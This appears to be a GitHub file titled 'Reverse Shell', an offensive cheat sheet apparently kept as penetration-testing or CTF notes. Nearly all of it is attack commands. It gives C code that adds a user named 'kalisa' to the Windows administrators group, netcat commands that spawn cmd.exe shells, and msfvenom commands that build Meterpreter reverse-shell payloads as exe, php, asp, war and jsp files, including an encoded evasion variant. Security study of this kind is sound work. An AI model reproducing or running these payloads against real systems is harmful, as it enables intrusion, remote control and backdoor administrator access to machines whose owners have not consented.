-
Notifications
You must be signed in to change notification settings - Fork 29
/
Reverse Shell
42 lines (29 loc) · 1.27 KB
/
Reverse Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
------------------------------------------------------------------------------
# Basic C code to add kalisa user to the administrator group
#include <stdlib.h>
int main () {
int i;
i = system("net localgroup administrators kalisa /add");
return 0;
}
# compile the C code
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe
------------------------------------------------------------------------------
# Upload nc.exe on the box
nc -nv <IP> <port> -e cmd.exe
nc -nlvp <port> -e cmd.exe
------------------------------------------------------------------------------
Meterpreter Shells
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o evil.exe
msfvenom -p windows/meterpreter/reverse_https LHOST= LPORT= -f exe -o evil.exe
# encode the executable
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -e x86/shikata_ga_nai -o evil.exe
# php
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f php > evil.php
# asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > evil.asp
# war
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f war > evil.war
# jsp
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f jsp > evil.jsp
------------------------------------------------------------------------------